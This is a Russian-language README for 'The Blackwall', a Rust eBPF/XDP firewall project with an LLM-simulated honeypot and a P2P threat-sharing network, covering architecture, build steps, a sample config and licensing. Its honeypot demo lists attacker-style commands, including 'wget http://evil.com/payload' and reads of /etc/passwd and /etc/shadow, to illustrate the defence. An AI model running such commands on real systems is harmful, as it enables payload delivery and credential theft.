blackwall/README_RU.md
Vladyslav Soliannikov a987991dec
Some checks failed
CI / Check & Clippy (push) Has been cancelled
CI / Tests (push) Has been cancelled
CI / eBPF Build (push) Has been cancelled
[hivemind] add live bootstrap node addresses + update READMEs
2026-04-17 23:59:06 +03:00

23 KiB
Raw Blame History

🌐 Язык: English | Українська | Русский

The Blackwall
Адаптивный eBPF файрвол с AI-ханипотом и P2P сетью угроз

The Blackwall — Я построил настоящий Блэквол, потому что Cyberpunk 2077 сломал мне мозг

"За Блэкволом есть вещи, от одного взгляда на которые у нетраннера выгорит мозг."
— Альт Каннингем, наверное

Сейчас строю enterprise AI-автоматизацию в Dokky
Enterprise лицензирование и консалтинг: xzcrpw1@gmail.com


TL;DR: Играл в Cyberpunk, вдохновился, написал целый адаптивный файрвол, работающий внутри ядра Linux, ловящий угрозы с помощью AI, заманивающий атакующих в фейковый сервер на базе LLM, и делящийся threat intelligence через децентрализованную P2P-сеть. ~21к строк Rust. 298 тестов. 10 крейтов. Один человек.


Что это?

The Blackwall — назван в честь цифрового барьера из Cyberpunk 2077, который не даёт диким AI пожрать цивилизованный Нет.

Моя версия. Многоуровневая система защиты, которая не просто блокирует угрозы — она их изучает, ловит в ловушку и рассказывает о них каждому другому узлу.

Три ключевых уровня, работающих вместе:

1. Файрвол на уровне ядра (eBPF/XDP) — анализ пакетов происходит внутри ядра Linux ещё до того, как трафик попадёт в сетевой стек. Решения за наносекунды. Энтропийный анализ, TLS-фингерпринтинг, глубокая инспекция пакетов, рейт-лимитинг, трекинг соединений — всё работает в BPF виртуальной машине.

2. AI-ханипот (Tarpit) — вместо того, чтобы просто дропать вредоносный трафик, он перенаправляется на фейковый Linux-сервер. LLM симулирует bash, отвечает на команды, отдаёт фейковые файлы, играет роль скомпрометированного root@web-prod-03. Атакующие тратят время, пока всё записывается.

3. P2P сеть угроз (HiveMind) — узлы находят друг друга, обмениваются IoC через зашифрованную libp2p-сеть, голосуют за угрозы через консенсус, отслеживают репутацию пиров. Одна нода ловит сканер — все остальные узнают за секунды.

Плюс: распределённый контроллер сенсоров, API для интеграции с SIEM (STIX/TAXII/Splunk/QRadar/CEF), TUI-дашборд, поведенческий профайлинг по IP, ингест threat-фидов, PCAP-форензика.


Архитектура

Blackwall Architecture

Threat Signal Flow

Пайплайн:

Пакет приходит
  → XDP: энтропия, блоклист/вайтлист, CIDR, рейт-лимит, JA4, DPI
  → RingBuf (zero-copy) → Демон в юзерспейсе
  → Статические правила → Поведенческий автомат → JA4 БД → LLM классификация
  → Вердикт: PASS / DROP / REDIRECT_TO_TARPIT
  → eBPF BLOCKLIST обновляется в реальном времени
  → IoC шарится в HiveMind P2P-сеть

Что делает каждый крейт

blackwall-ebpf — Уровень ядра (1,334 строки)

eBPF-программы на XDP-хуке — самая ранняя точка, где можно тронуть пакет. Работает под жёсткими правилами BPF-верификатора: 512 байт стека, без хипа, без float, только ограниченные циклы.

  • Расчёт энтропии — частотный анализ байтов, целочисленная энтропия Шеннона (07936). Высокая энтропия на не-TLS портах → зашифрованный C2-трафик
  • TLS-фингерпринтинг — парсит ClientHello, извлекает cipher suites, extensions, ALPN, SNI → JA4-отпечаток. Один фингерпринт покрывает тысячи ботов с одной TLS-либой
  • DPI через tail callsPROG_ARRAY диспатчит протокольные анализаторы:
    • HTTP: метод + URI (ловит /wp-admin, /phpmyadmin, path traversal)
    • DNS: длина запроса + количество меток (детекция DNS-туннелирования)
    • SSH: фингерпринтинг баннера (libssh, paramiko, dropbear)
  • DNAT-редирект — подозрительный трафик тихо NAT'ится на тарпит. Атакующий не знает, что покинул реальный сервер
  • Трекинг соединений — stateful TCP-мониторинг, LRU-мап (16K записей)
  • Рейт-лимитинг — per-IP token bucket, предотвращает флуд и переполнение RingBuf
  • 4 RingBuf-канала — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS

Мапы: BLOCKLIST, ALLOWLIST, CIDR_RULES, COUNTERS, RATE_LIMIT, CONN_TRACK, NAT_TABLE, TARPIT_TARGET, PROG_ARRAY, плюс 4 RingBuf-мапы.

blackwall — Мозг (6,362 строки)

Главный демон. Загружает eBPF-программы, потребляет события из RingBuf, запускает пайплайн принятия решений.

  • Rules engine — статический блоклист/вайтлист, CIDR-диапазоны из конфига + фиды
  • Поведенческий автомат — профайлинг по IP: частота соединений, разнообразие портов, распределение энтропии, анализ тайминга. Фазы: New → Suspicious → Malicious → Blocked (или → Trusted). Детекция биконинга через целочисленный CoV
  • JA4-база — матчинг TLS-фингерпринтов с известными вредоносными сигнатурами
  • AI-классификация — интеграция с Ollama, модели ≤3B параметров (Qwen3 1.7B/0.6B). Батчинг событий, структурированные JSON-вердикты
  • Threat-фиды — ингест внешних фидов (Firehol, abuse.ch)
  • PCAP-захват — форензик-запись с ротацией + компрессией
  • Обратная связь в реальном времени — вердикты пишутся обратно в eBPF BLOCKLIST
  • HiveMind-бридж — подтверждённые IoC шарятся в P2P-сеть

tarpit — Ловушка (2,179 строк)

Уровень обмана. Атакующие, перенаправленные сюда через DNAT, думают, что попали на реальный сервер.

  • Автодетекция протокола — определяет SSH, HTTP, MySQL, DNS по первым байтам
  • Хендлеры протоколов:
    • SSH: баннер, авторизация, PTY-сессия
    • HTTP: фейковый WordPress, /wp-admin, .env, реалистичные хедеры
    • MySQL: хендшейк, авторизация, ответы с фейковыми данными
    • DNS: правдоподобные ответы на запросы
  • LLM-симуляция bash — каждая команда → Ollama. ls -la возвращает файлы, cat /etc/shadow — хеши, wget — "скачивает", mysql -u root — "подключается". LLM не знает, что это ханипот
  • Экспоненциальный джиттер — чанки 1-15 байт, задержка 100мс30с. Максимум потраченного времени
  • Анти-фингерпринтинг — рандомизированные TCP window, TTL, начальная задержка. p0f/Nmap не распознают
  • Защита от prompt injection — 25+ паттернов, симуляция никогда не ломается
  • Credential canaries — все введённые креды логируются
  • Управление сессиями — состояние по соединению, история команд, трекинг CWD

hivemind — Сеть (6,526 строк)

Децентрализованный threat intelligence на libp2p.

  • Транспорт — QUIC + Noise-шифрование, каждое соединение аутентифицировано
  • Обнаружение пиров — Kademlia DHT (глобальный), mDNS (локальный), конфигурируемые seed-пиры
  • Обмен IoC — GossipSub pub/sub, распространение по сети за секунды
  • Консенсус — N независимых подтверждений обязательны. Никакого одноисточникового доверия
  • Репутация — пиры зарабатывают реп за хорошие IoC, теряют за фолсы. Плохие акторы слешатся
  • Защита от Sybil — PoW-челленджи, детекция самоссылок в k-buckets, рейт-лимит регистрации
  • Федеративное обучение — локальный тренинг + FedAvg-агрегация, шаринг градиентов (FHE-стаб)
  • Защита от data poisoning — мониторинг распределения градиентов, детекция model inversion
  • ZKP-инфраструктура — Groth16 стабы для trustless-верификации IoC

hivemind-api — Enterprise-интеграция (2,711 строк)

REST API для подключения HiveMind-данных к корпоративным SIEM.

  • STIX 2.1 — стандартный формат threat intelligence
  • TAXII 2.1 — протокол обмена угрозами
  • Splunk HEC — HTTP Event Collector
  • QRadar LEEF — Log Event Extended Format
  • CEF — Common Event Format
  • Тирированное лицензирование — Basic / Professional / Enterprise / NationalSecurity
  • Лайв-статистика — XDP-каунтеры + P2P-метрики в реальном времени

hivemind-dashboard — Монитор (571 строка)

TUI-дашборд. Чистый ANSI — без ratatui, без crossterm, сырые escape-коды. Лайв-статус сети.

blackwall-controller — Командный центр (356 строк)

CLI для управления несколькими сенсорами. HMAC-аутентификация (PSK). Статистика, список заблокированных IP, здоровье всех нод из одного места.

common — Контракт (1,126 строк)

#[repr(C)] типы между ядром и юзерспейсом: PacketEvent, RuleKey, TlsComponentsEvent, DpiEvent, каунтеры, base64. Контракт, на котором построена вся система.

xtask — Билд-тулы (46 строк)

cargo xtask build-ebpf — компиляция nightly + bpfel-unknown-none.


Стек технологий

Уровень Технология Почему
Ядро aya-rs (eBPF/XDP) Чистый Rust eBPF — без C, без libbpf
Рантайм Tokio (current_thread) Однопоточный, без оверхеда
IPC RingBuf Zero-copy, 7.5% оверхед против 35% у PerfEventArray
Конкурентность papaya + crossbeam Lock-free мапы + MPMC-очереди
P2P libp2p QUIC, Noise, Kademlia, GossipSub, mDNS
Крипта ring ECDSA, SHA256, HKDF, HMAC
HTTP hyper 1.x Минимальный. Без веб-фреймворков
AI Ollama Локальный инференс, GGUF-квантизация
Конфиг TOML Читабельный, минимальный
Логирование tracing Структурированное. Zero println! в проде

22 зависимости. Каждая обоснована. Без bloat-крейтов.


Деплой

deploy/
  docker/
    Dockerfile.blackwall       # Multi-stage, stripped binary
    Dockerfile.ebpf            # Nightly eBPF build
  helm/
    blackwall/                 # K8s DaemonSet + ConfigMap
  systemd/
    server/                    # Серверные юниты
    laptop/                    # Dev/ноутбук юниты
  examples/                    # Примеры конфигов
  healthcheck.sh               # Проверка компонентов

Docker multi-stage. Helm для K8s (DaemonSet, один на ноду, CAP_BPF). systemd для bare metal.


Быстрый старт

Требования

  • Linux 5.15+ с BTF (или WSL2 с кастомным ядром)
  • Rust stable + nightly с rust-src
  • bpf-linkercargo install bpf-linker
  • Ollama (опционально, для AI)

Сборка

cargo xtask build-ebpf                      # eBPF (nightly)
cargo build --release --workspace            # весь юзерспейс
cargo clippy --workspace -- -D warnings      # линт
cargo test --workspace                       # 298 тестов

Запуск

sudo RUST_LOG=info ./target/release/blackwall config.toml    # нужен root/CAP_BPF
RUST_LOG=info ./target/release/tarpit                        # ханипот
RUST_LOG=info ./target/release/hivemind                      # P2P-нода
RUST_LOG=info ./target/release/hivemind-api                  # API threat-фидов
./target/release/hivemind-dashboard                          # TUI
BLACKWALL_PSK=<key> ./target/release/blackwall-controller stats <ip>:<port>

Конфиг

[network]
interface = "eth0"
xdp_mode = "generic"

[thresholds]
entropy_anomaly = 6000

[tarpit]
enabled = true
port = 2222
base_delay_ms = 100
max_delay_ms = 30000

[tarpit.services]
ssh_port = 22
http_port = 80
mysql_port = 3306
dns_port = 53

[ai]
enabled = true
ollama_url = "http://localhost:11434"
model = "qwen3:1.7b"
fallback_model = "qwen3:0.6b"

[rules]
blocklist = ["1.2.3.4"]
allowlist = ["127.0.0.1"]

[feeds]
enabled = true
refresh_interval_secs = 3600

[pcap]
enabled = true
output_dir = "/var/lib/blackwall/pcap"

[distributed]
enabled = false
mode = "standalone"
bind_port = 9471
psk = "your-256bit-hex-key"

Тарпит в действии

Подключаешься к тарпиту и видишь:

Ubuntu 24.04.2 LTS web-prod-03 tty1

web-prod-03 login: root
Password:
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1

root@web-prod-03:~#

Ничего из этого не существует. LLM играет в bash. ls — файлы. cat /etc/passwd — юзеры. mysql -u root -p — подключение. wget http://evil.com/payload — загрузка.

30 минут на сервере, которого нет. Каждый кейстрок записан. IoC расшарены в сеть.


Модель безопасности

  • Каждый байт из пакетов = контролируемый атакующим. Все ctx.data() с bounds-check
  • Zero unwrap() в проде — ?, expect("reason"), или match
  • Prompt injection: ожидается. 25+ паттернов ловится, симуляция не ломается
  • P2P: Sybil guard (PoW + слешинг репутации), N-of-M консенсус по IoC
  • Тарпит: TCP-рандомизация — p0f/Nmap не смогут зафингерпринтить
  • Контроллер: HMAC-аутентифицированный, без неавторизованного доступа
  • Ядро: рейт-лимитинг предотвращает переполнение RingBuf
  • Шатдаун: чистит правила фаервола, никаких осиротевших iptables-записей

Enterprise-версия

Blackwall Enterprise добавляет то, чего нет ни у кого: анализ Agent-to-Agent (A2A) трафика в реальном времени на уровне ядра.

AI-агенты начинают общаться друг с другом — LLM-to-LLM, через MCP, A2A-протокол, агентные фреймворки. Это новая поверхность атаки: prompt injection через межагентную коммуникацию, подделка интентов, кража идентичности агентов. На рынке ничего для этого нет. Blackwall Enterprise — первый и единственный такой модуль.

~8,400 строк Rust. Отдельный репозиторий, отдельная лицензия.

Компонент Что делает
A-JWT Валидация Верификация Agentic JWT по IETF-драфту. Проверка подписи через ring, предотвращение реплея, кеширование ключей
Верификация интентов Исчерпывающий матчинг полей — max_amount, allowed_recipients (glob), allowlist действий
Чексума агента SHA256(system_prompt + tools_config) — тамперинг = мгновенный блок
Proof-of-Possession cnf/jwk ECDSA-привязка — доказывает, что агент держит свой ключ
eBPF Uprobes Хуки в OpenSSL/GnuTLS SSL_write/SSL_read — перехватывает A2A-плейнтекст без разрыва TLS
Risk-Based Routing Конфигурируемые policy: allow / review / block по уровню риска
ZK Proofs Аттестация нарушений без раскрытия сырого трафика (Groth16)
P2P Gossip Proof нарушений бродкастятся в HiveMind-меш

Лицензирование: xzcrpw1@gmail.com


Статистика

Язык:            100% Rust
Всего:           ~21,200 строк
Файлов:          92 .rs
Крейтов:         10
Тестов:          298
unwrap():        0 в проде
Зависимостей:    22 (проаудированные)
eBPF-стек:       ≤ 512 байт всегда
Clippy:          -D warnings, ноль проблем
CI:              check + clippy + tests + eBPF nightly build

Киберпанк-справочник

Cyberpunk 2077 Этот проект
The Blackwall Файрвол на уровне ядра eBPF/XDP
ICE XDP fast-path: энтропия + JA4 + DPI + DNAT
Демоны LLM-тарпит — фейковый сервер за стеной
NetWatch Поведенческий движок + автомат по IP
Rogue AIs Ботнеты, сканеры, C2-биконы
Braindance PCAP-форензика
Коллектив нетраннеров HiveMind P2P-меш
Инфа от фиксеров Threat-фиды
Arasaka C&C Распределённый контроллер

Дисклеймер

Исследовательский проект в сфере безопасности. Для защиты вашей собственной инфраструктуры. Не используйте против других.

Не аффилирован с CD Projekt Red. Просто игра, которая перепрошила мой мозг наилучшим образом.


Лицензия

BSL 1.1 (Business Source License)

Лицензиар: Vladyslav Soliannikov Change Date: April 8, 2030 Change License: Apache-2.0


Нравится? Ставь звезду

"Просыпайся, самурай. У нас сеть — защищать."